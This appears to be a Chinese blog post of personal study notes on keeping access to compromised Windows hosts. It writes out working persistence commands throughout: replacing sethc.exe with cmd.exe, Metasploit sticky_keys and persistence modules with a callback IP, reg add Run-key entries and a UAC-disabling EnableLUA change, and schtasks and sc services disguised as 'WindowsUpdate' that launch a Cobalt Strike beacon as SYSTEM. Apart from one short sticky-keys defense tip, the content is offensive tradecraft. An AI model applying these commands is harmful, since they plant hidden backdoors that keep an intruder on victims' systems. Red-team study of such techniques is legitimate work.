權限維持專題:操作系統權限維持

語言: CN / TW / HK

突然意識到了權限維持的重要性,之前一直都把重點放在如何獲取權限,而卻忽視了獲取權限之後如何維持,本文作為學習筆記記錄一下,歡迎探討

輔助功能後門

輔助功能提供了其他選項(屏幕鍵盤、放大鏡、屏幕閲讀等),可以幫助殘疾人更輕鬆地使用Windows操作系統但是,此功能可能會被濫用,以在已啟用RDP且已獲得管理員級別權限的主機上實現持久性。

屏幕鍵盤:C:\Windows\System32\osk.exe
放大鏡:C:\Windows\System32\Magnify.exe
旁白:C:\Windows\System32\Narrator.exe
顯示開關:C:\Windows\System32\DisplaySwitch.exe
應用程序開關:C:\Windows\System32\AtBroker.exe
粘滯鍵:C:\Windows\System32\sethc.exe
輔助功能:C:\Windows\System32\utilman.exe

粘滯鍵後門

以粘滯鍵後門舉例

在 Windows主機上連續按5次“ Shift”鍵,就可以調出粘滯鍵。 Windows的粘滯鍵主要是為無法同時按多個按鍵的用户設計的。例如,在使用組合鍵“Crl+P"時,用户需要同時按下“Crl和“P”兩個鍵,如果使用粘滯鍵來實現組合鍵“Crl+P”的功能,用户只需要按一個鍵。

為什麼説粘滯鍵可以變成後門呢,因為電腦在鎖屏的時候也可以觸發粘滯鍵,所以只要替換了粘滯鍵的命令就能實現權限維持

用可執行文件 sethc.exe.bak替換 windows\system32目錄下的粘滯鍵可執行文件 sethc.exe,命令如下。

cd c:\windows\system32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe

不過現在的服務器一般都沒有辦法用這種方式執行

我們還可以利用msf裏面自帶的模塊進行後門的留取

以利用msf裏面自帶的模塊進行後門的留取

use post/windows/manage/sticky_keys
set session 1
set target UTILMAN
exploit

target可以設置不同的留後門方法,其中就有粘滯鍵

C:\Windows\System32\sethc.exe 粘滯鍵 快捷鍵:按五次 shift 鍵

C:\Windows\System32\utilman.exe 設置中心 快捷鍵:Windows+U 鍵

C:\Windows\System32\osk.exe 屏幕鍵盤

粘滯鍵攻擊win2008(win10攻擊失敗)

針對粘滯鍵後門,可以採取如下防範措施。

  • 在遠程登錄服務器時,連續按5次" Shift”鍵,判斷服務器是否被入侵。
  • 拒絕使用 sethc.exe或者在“控制面板”中關閉“啟用粘滯鍵”選項。

註冊表注入後門

註冊表是windows操作系統中的一個核心數據庫,其中存放着各種參數,直接控制着windows的啟動、硬件驅動程序的裝載以及一些windows應用程序的運行,從而在整個系統中起着核心作用。

Win+r 輸入regedit進入註冊表編輯器

如下是控制計算機啟動項的註冊表信息。

Run中的程序是WINDOWS初始化後才運行的,而RunService中的程序是在操作系統啟動時就開始運行的,也就是説RunServices中的程序先於Run中的程序運行,如電源管理程序。

#當前用户所用信息儲存地
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce

#機器軟硬件信息的集散地
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\Software\wow6432node\microsoft\windows\currentversion\Run

#添加
REG ADD “KeyName” /v “ValueName” /t REG_SZ /d “Data” /f 
#操作HKEY_LOCAL_MACHINE需要高權限
#KeyName 遠程機器名 - 忽略默認到當前機器。
#/v 所選項之下要添加的值名稱。 
#/ve為註冊表項添加空白值名稱(默認)。
#/t RegKey 數據類型 REG_SZ型註冊表值項沒有長度限制 
#/d 要分配給添加的註冊表ValueName 的數據。 
#/f 不用提示就強行覆蓋現有註冊表項。

#查詢
reg query “KeyName” \v ValueName 
#不需要權限

#刪除
reg delete “KeyName” \v ValueName /f 
#操作HKEY_LOCAL_MACHINE需要高權限 /f不用提示,強制刪除。不加會詢問是否刪除

msf註冊表後門

run persistence -U -i 5 -p 5555 -r 192.168.200.36

-S:系統啟動時加載

-U:用户登陸時加載

-X:開機時自動加載

-i:回連的時間間隔

-r:你的接收shell的電腦IP

想重啟監聽看看能不能上線,但是試了win10、win7、win2008都不能利用。而win7還給我搞炸了。每次開啟就會一直彈窗....

註冊表

指定當程序嘗試對計算機進行更改時是否將 Windows 用户帳户控制 (UAC) 通知用户。 UAC 以前稱為 受限用户帳户 (LUA)。

使用命令將EnableLUA 設置為0(後面試了一下好像改不改這個都無所謂)

shell reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

查詢

shell reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System"

直接插入註冊表裏,成為自啟動文件

shell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\testuser\Desktop\cs_shell.exe" /f

查詢是否設置成功

shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"

可以看到設置成功

重啟試試看——成功上線

計劃任務後門

計劃任務在 Windows7及之前版本的操作系統中使用at命令調用,在從 Windows8版本開始的操作系統中使用 schtasks命令調用。計劃任務後門分為管理員權限和普通用户權限兩種。管理員權限的後門可以設置更多的計劃任務,例如重啟後運行等。

at計劃任務:

at \\192.168.200.36 13:56 C:\shell.exe   #創建一項計劃任務到時間打開shell.exe程序

schtasks計劃任務。參考 Schtasks命令詳解_jataflf的專欄-CSDN博客

schtasks /create /s 192.168.200.36 /tn test /sc once /st 17:07 /tr c:\shell.exe /ru system /f   #創建一次計劃任務
schtasks /create /s 192.168.200.36 /tn test /sc onstart /sd 12/4/2021  /tr c:\shell.exe /ru system /f   #系統啟動時執行計劃任務
schtasks /create /s 192.168.200.36 /tn test /sc minute /mo 10 /tr c:\shell.exe /ru system /f  #每十分鐘執行一次計劃任務

使用cs的後門演示計劃任務

使用cs生成一個exe後門,上線cs假設獲取了目標主機的權限,現在開始進行權限維持

上線之後進行計劃任務

每分鐘執行一次

schtasks /create /tn WindowsUpdate /tr "C:\Users\fish\Desktop\cs_shell.exe" /sc minute /mo 1 /ru System /f

或者當系統啟動時執行

schtasks /create /tn WindowsUpdate /tr "C:\Users\fish\Desktop\cs_shell.exe" /sc onstart /ru System /f

可以看到一開機就自動上線

服務自啟動

有點類似與計劃任務,但是隻能開機時啟動,sc作用是在註冊表和服務數據庫中創建服務項,微軟查到的意思是為註冊表中的服務和服務控制管理器數據庫創建子項和項

假設拿到了目標主機的shell,可以輸入如下語句建立服務自啟動後門 

sc create "test" binpath= "C:\Users\fish\Desktop\cs_shell.exe" start=auto displayname="Windows-Update"
sc description "test ""測試"
net start "test"
sc query test   #查詢服務項
sc delete test  #刪除

開啟這個服務測試一下,成功上線

任務管理器可以查看到設置的服務

重啟win10之後依舊上線

啟動文件夾

簡單的提一嘴

Windows系統都有一個“啟動”文件夾,把需要打開的程序的快捷方式放到“啟動”文件夾裏,就可以實現開機自動啟動。

如果想要實現應用程序在所有的用户登錄系統後都能自動啟動,就把該應用程序的快捷方式放到系統啟動文件夾裏

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

如果想要實現某個應用程序只在某個用户登錄系統時自動啟動,那麼就把該應用程序的快捷方式放到這個用户啟動文件夾裏。

C:\Users\fish\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup